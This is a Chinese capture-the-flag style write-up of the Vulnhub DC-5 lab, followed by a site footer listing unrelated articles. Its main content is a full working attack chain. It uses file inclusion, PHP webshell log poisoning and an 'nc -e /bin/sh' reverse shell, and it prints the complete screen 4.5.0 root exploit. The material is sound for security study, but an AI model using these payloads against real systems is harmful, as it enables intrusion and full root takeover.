Vulnhub靶场DC-5练习

目录

  • 0x00 准备
  • 0x01 主机信息收集
  • 0x02 站点信息收集
  • 0x03 漏洞查找与利用
    • 1. 利用burpsuite爆破文件包含的参数
    • 2. 文件包含
    • 3. nginx日志挂马
    • 4. 反弹shell
    • 5.漏洞利用和提权
  • 0x04 总结


0x00 准备


下载链接:https://download.vulnhub.com/dc/DC-5.zip

介绍:
As far as I am aware, there is only one exploitable entry point to get in (there is no SSH either). This particular entry point may be quite hard to identify, but it is there. You need to look for something a little out of the ordinary (something that changes with a refresh of a page). This will hopefully provide some kind of idea as to what the vulnerability might involve.
And just for the record, there is no phpmailer exploit involved. 😃

只有一个可利用的入口点可以进入(也没有 SSH)。这个特定的切入点可能很难识别,但它就在那里。你需要寻找一些不寻常的东西(随着页面的刷新而改变的东西)。这有望提供一些关于漏洞可能涉及的内容的想法。
仅供记录,不涉及 phpmailer 漏洞。😃

0x01 主机信息收集



执行命令:ifconfig
kali本机的ip:192.168.22.36,网卡eth0


发现目标主机ip:netdiscover -i eth0 -r 192.168.22.0/24
目标主机ip:192.168.22.37

在这里插入图片描述


探测目标主机开放端口:nmap -sS -sV -A -n 192.168.22.37
开放了80端口,使用的是nginx1.6.2;111端口,rpcbind服务。

在这里插入图片描述


0x02 站点信息收集



前面对这个环境的介绍有一句:随着页面的刷新而改变的东西。所以在浏览站点的时候要格外注意下刷新页面后变化的地方。


看一下站点的目录结构:dirsearch -u 192.168.22.37
这几个目录都是可以直接在页面上点击就可以访问到的,只有footer.php不可以。

在这里插入图片描述


访问一下这个目录:192.168.22.37/footer.php
后面在跟网站交互的时候可以多注意一下展示这个信息的地方。

在这里插入图片描述


访问站点,再contact页面下有个留言板提交,提交一下试一试。
发现每提交一次,这里的时间就会变一下,2017,2018,2019,2020循环。

在这里插入图片描述


综合上面的信息,留言板提交后的URL,可以猜测一下,thank.php中包含了footer.php文件。

php中常见的可以导致文件包含漏洞的函数:include(), include_once(), require(), re-quire_once(), fopen(), readfile()等。

下一步的思路就是去找thank.php的文件包含的参数。



0x03 漏洞查找与利用



1. 利用burpsuite爆破文件包含的参数


访问提交留言的页面,抓包,发送到Intruder模块,利用参数字典对参数进行爆破。
访问后抓包:

在这里插入图片描述

发送到Intruder模块,利用参数字典进行爆破,只选择一个参数:

在这里插入图片描述

payload这里导入保存的参数fuzz的字典:

在这里插入图片描述

对结果按照length进行排序,可以得到一个参数file。
就可以构造thank.php?file=/etc/passwd来读取文件。

在这里插入图片描述


2. 文件包含


多次访问:192.168.22.37/thankyou.php?file=footer.php ,可以发现下面的时间是在变化的,从2017到2020循环。确认了file参数确实有文件包含。

访问:192.168.22.37/thankyou.php?file=/etc/passwd,可以看到文件内容。

在这里插入图片描述


3. nginx日志挂马



前面获取到用了nginx,利用文件包含查看nginx的配置文件:?file=/etc/nginx/nginx.conf

在这里插入图片描述

得到了nginx的日志路径为:
访问成功的日志文件:/var/log/nginx/access.log
访问失败的日志文件:/var/log/nginx/error.log

在这里插入图片描述

传入一句话木马:?file=<?php system($_GET['x']) ?>
并让这句话解析成功。
在这里插入图片描述

再进行包含nginx的错误日志,利用一句话:?file=/var/log/nginx/error.log&x=ls
可以看到ls命令执行成功。

在这里插入图片描述


4. 反弹shell


在kali上执行:nc -lvp 9876
修改数据包的路径:/thankyou.php?file=/var/log/nginx/error.log&x=nc -e /bin/sh 192.168.22.36 9876

在这里插入图片描述

可以看到监听成功。

在这里插入图片描述


5.漏洞利用和提权


执行命令,进入交互式shell:python -c "import pty;pty.spawn('/bin/bash')"

在这里插入图片描述

找到具有suid权限的文件:find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

重新打开一个终端,利用searchsploit搜索screen4.5.0相关的漏洞:searchsploit screen 4.5.0

在这里插入图片描述

查看41154.sh看一下漏洞利用的方式:cat /usr/share/exploitdb/exploits/linux/local/41154.sh

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){chown("/tmp/rootshell", 0, 0);chmod("/tmp/rootshell", 04755);unlink("/etc/ld.so.preload");printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){setuid(0);setgid(0);seteuid(0);setegid(0);execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell

根据使用说明,创建两个文件/tmp/libhax.c和/tmp/rootshell.c,之后分别使用gcc进行编译,再删除创建的这两个文件,只留下编译生成的/tmp/libhax.so和/tmp/rootshell,然后再执行一系列命令。

直接在监听的shell中不好操作,所以思路是在kali中制作好三个文件,分别是编译生成的/tmp/libhax.so和/tmp/rootshell,还有将一系列的命令保存成一个shell脚本文件。然后将这三个文件传到目标机器上。

在kali的/tmp目录下,创建这两个文件。一定要在/tmp目录下,因为这个文件在目标主机上运行的时候就是在这个目录下。


执行命令:vim /tmp/libhax.c
输入文件内容:

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){chown("/tmp/rootshell", 0, 0);chmod("/tmp/rootshell", 04755);unlink("/etc/ld.so.preload");printf("[+] done!\n");
}

执行命令:vim /tmp/rootshell.c
输入文件内容:

#include <stdio.h>
int main(void){setuid(0);setgid(0);seteuid(0);setegid(0);execvp("/bin/sh",NULL);
}

执行命令:gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
执行命令:gcc -o /tmp/rootshell /tmp/rootshell.c
会报一些警告类的错误,没有什么影响,可以忽略。

在这里插入图片描述

执行命令:rm -f /tmp/libhax.c
执行命令:rm -f /tmp/rootshell.c


将剩下的代码部分保存在dc5.sh的脚本文件中。
执行命令:vim /tmp/dc5.sh (这个文件也放在/tmp目录下,因为后面会利用python的SimpleHTTPServer服务向目标主机传文件,SimpleHTTPServer使用的时候需要先进入待分享的目录,这里就是/tmp,这三个要上传的文件都放在这里比较好操作一点。)
输入文件内容:

#!/bin/bash
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell

vim文件的时候,在终端窗口中,按esc,再按shift + : ,窗口底部应该出现冒号,输入set ff=unix,回车。再按shift + : ,输入wq。(linux中sh类型的文件一般要设置为unix格式,否则可能会报错)

在这里插入图片描述

将三个文件传输到靶机:


kali本机先进入/tmp目录: cd /tmp
再开启SimpleHTTPServer服务,kali本地执行:python2 -m SimpleHTTPServer ,这里后面没跟端口号,就是使用的默认端口8000。

在这里插入图片描述

kali连接的shell中,分别执行:
cd /tmp
wget http://192.168.22.36:8000/libhax.so
wget http://192.168.22.36:8000/rootshell
wget http://192.168.22.36:8000/dc5.sh

在这里插入图片描述

给dc5.sh添加执行权限:chmod +x dc5.sh

在这里插入图片描述

执行脚本:./dc5.sh
报错:
在这里插入图片描述

/tmp/rootshell: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34’ not found (required by /tmp/rootshell):报错原因是在kali这个高版本的linux中编译了文件,但是dc-5是低版本的。

最简便的解决方案就是下载一个2018年的kali,编译一下两个文件。

其他解决方案:在高版本的kali中编译/tmp/libhax.c和/tmp/rootshell.c时,指定GLIBC的版本。



执行完脚本之后,执行命令:whoami
就会有root权限了,进入/root目录即可发现flag。



0x04 总结



主机信息收集:

  1. netdiscover探测目标主机ip。
  2. nmap探测开放端口和服务。

站点信息收集:

  1. dirsearch查看网站目录结构。
  2. 利用burpsuite的Intruder模块,爆破文件包含的参数。

漏洞利用:

  1. 利用文件包含,进行nginx日志挂马。
  2. 反弹shell。
  3. screen4.5.0漏洞利用。



本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/42525.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

kafka-3

Kafka 消费组 consumer-offsets-N 稀疏索引 Kafka集群 集群搭建 集群启动和验证 Topic的意义 Topic和Partition 分区 副本 集群操作指令 多分区&多副本 多分区消费组 Rebalance机制 Rebalance机制处理流程 Rebalance机制-Range Rebalance机制-RoudRobin Rebalance机制-St…

计数排序的实现

原理 对一个数组进行遍历&#xff0c;再创建一个count数组 每找到一个值则在count数组中对应的位置加一&#xff0c;再在count数组中找到数字上方的count值&#xff0c;count值为几&#xff0c;则打印几次数组中的值. 开空间 相对映射 排序的实现 void CountSort(int* a, i…

PageHelper分页查询遇到的小问题

如果我们是这样子直接查询 pagehelper会拼接导我们的sql语句之后 这样子我们搜索出来的list&#xff0c;就是里面参杂了PageHelper的东西 所以我们可以直接转成我们的Page类型 但是如果我们搜索出来的是List<Blog>&#xff0c;我有些信息不想返回给前端&#xff0c;所以…

mac M1安装 VSCode

最近在学黑马程序员Java最新AI若依框架项目开发&#xff0c;里面前端用的是Visual Studio Code 所以我也就下载安装了一下&#xff0c;系统是M1芯片的&#xff0c;安装过程还是有点坑的写下来大家注意一下 1.在appstore中下载 2.在系统终端中输入 clang 显示如下图 那么在终端输…

C++语言相关的常见面试题目(一)

1. const关键字的作用 答&#xff1a; 省流&#xff1a;&#xff08;1&#xff09;定义变量&#xff0c;主要为了防止修改 (2) 修饰函数参数&#xff1a;防止在函数内被改变 &#xff08;3&#xff09;修饰函数的返回值 &#xff08;4&#xff09;修饰类中的成员函数 2. Sta…

并发编程-05AQS原理

并发编程-深入理解AQS之ReentrantLock 一 认识AQS 在讲解AQS原理以及相关同步器之前&#xff0c;我们需要对AQS有一些基本的认识&#xff0c;了解下它有什么样的机制&#xff0c;这样追踪源码的时候就不会太过于迷茫&#xff01; 1.1 什么是AQS java.util.concurrent包中的大…

LabVIEW与OpenCV图像处理对比

LabVIEW和OpenCV在图像处理方面各有特点。LabVIEW擅长图形化编程、实时处理和硬件集成&#xff0c;而OpenCV则提供丰富的算法和多语言支持。通过DLL、Python节点等方式&#xff0c;OpenCV的功能可在LabVIEW中实现。本文将结合具体案例详细分析两者的特点及实现方法。 LabVIEW与…

某大会的影响力正在扩大,吞噬了整个数据库世界!

1.规模空前 你是否曾被那句“上有天堂&#xff0c;下有苏杭”所打动&#xff0c;对杭州的湖光山色心驰神往&#xff1f;7月&#xff0c;正是夏意正浓的时节&#xff0c;也是游览杭州的最佳时期。这座古典与现代交融的城市将迎来了第13届PostgreSQL中国技术大会。作为全球数据库…

LabVIEW从测试曲线中提取特征值

在LabVIEW中开发用于从测试曲线中提取特征值的功能时&#xff0c;可以考虑以下几点&#xff1a; 数据采集与处理&#xff1a; 确保你能够有效地采集和处理测试曲线数据。这可能涉及使用DAQ模块或其他数据采集设备来获取曲线数据&#xff0c;并在LabVIEW中进行处理和分析。 特…

系统级别的原生弹窗窗口

<!DOCTYPE html> <html lang"zh-CN"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>原生的弹出窗口dialog</title><style>…

【TB作品】51单片机 Proteus仿真 基于单片机的LCD12864万年历及温度监测系统设计

实验报告&#xff1a;基于单片机的LCD12864万年历及温度监测系统设计 背景介绍 本实验旨在设计并实现一个基于STC89C52单片机的LCD12864显示的万年历系统&#xff0c;同时集成温度传感器以实现温度监测功能。系统具备整点报时和闹钟功能&#xff0c;通过蜂鸣器进行提示。该设…

初中物理知识点总结(人教版)

初中物理知识点大全 声现象知识归纳 1 .声音的发生&#xff1a;由物体的振动而产生。振动停止&#xff0c;发声也停止。 2.声音的传播&#xff1a;声音靠介质传播。真空不能传声。通常我们听到的声音是靠空气传来的。 3.声速&#xff1a;在空气中传播速度是&#xff1a;340…

【2024_CUMCM】T检验、F检验、卡方检验

T检验 T检验主要用于比较两组数据的均值差异&#xff0c;适用于小样本数据分析。它可以分为单样本T检验、独立样本T检验和配对样本T检验。 单样本T检验用于比较一个样本与已知的总体均值差异&#xff0c;独立样本T检验用于比较两个独立样本的均值差异&#xff0c;配对样本T检…

【Transformer】transformer模型结构学习笔记

文章目录 1. transformer架构2. transformer子层解析3. transformer注意力机制4. transformer部分释疑 图1 transformer模型架构 图2 transformer主要模块简介 图3 encoder-decoder示意图N6 图4 encoder-decoder子层示意图 1. transformer架构 encoder-decoder框架是一种处理NL…

探索InitializingBean:Spring框架中的隐藏宝藏

​&#x1f308; 个人主页&#xff1a;danci_ &#x1f525; 系列专栏&#xff1a;《设计模式》《MYSQL》 &#x1f4aa;&#x1f3fb; 制定明确可量化的目标&#xff0c;坚持默默的做事。 ✨欢迎加入探索MYSQL索引数据结构之旅✨ &#x1f44b; Spring框架的浩瀚海洋中&#x…

Java里的Arrary详解

DK 中提供了一个专门用于操作数组的工具类&#xff0c;即Arrays 类&#xff0c;位于java.util 包中。该类提供了一些列方法来操作数组&#xff0c;如排序、复制、比较、填充等&#xff0c;用户直接调用这些方法即可不需要自己编码实现&#xff0c;降低了开发难度。 java.util.…

用PlantUML和语雀画UML类图

概述 首先阐述一下几个简单概念&#xff1a; UML&#xff1a;是统一建模语言&#xff08;Unified Modeling Language&#xff09;的缩写&#xff0c;它是一种用于软件工程的标准化建模语言&#xff0c;旨在提供一种通用的方式来可视化软件系统的结构、行为和交互。UML由Grady…

pyrender 离线渲染包安装教程

pyrender 离线渲染包安装教程 安装 安装 官方安装教程:https://pyrender.readthedocs.io/en/latest/install/index.html#installmesa 首先 pip install pyrenderclang6.0安装 下载地址:https://releases.llvm.org/download.html#6.0.0 注意下好是叫&#xff1a;clangllvm-6…

通信协议_C#实现自定义ModbusRTU主站

背景知识&#xff1a;modbus协议介绍 相关工具 mbslave:充当从站。虚拟串口工具:虚拟出一对串口。VS2022。 实现过程以及Demo 打开虚拟串口工具: 打开mbslave: 此处从站连接COM1口。 Demo实现 创建DLL库&#xff0c;创建ModbusRTU类,进行实现&#xff1a; using Syste…

VMware虚拟机搭建CentOS7环境

相关资料 安装VMware 双击VMware-workstation(16.1.1软件安装包.exe安装文件,点下一步 激活码文件复制激活码激活安装linux 1、点击创建虚拟机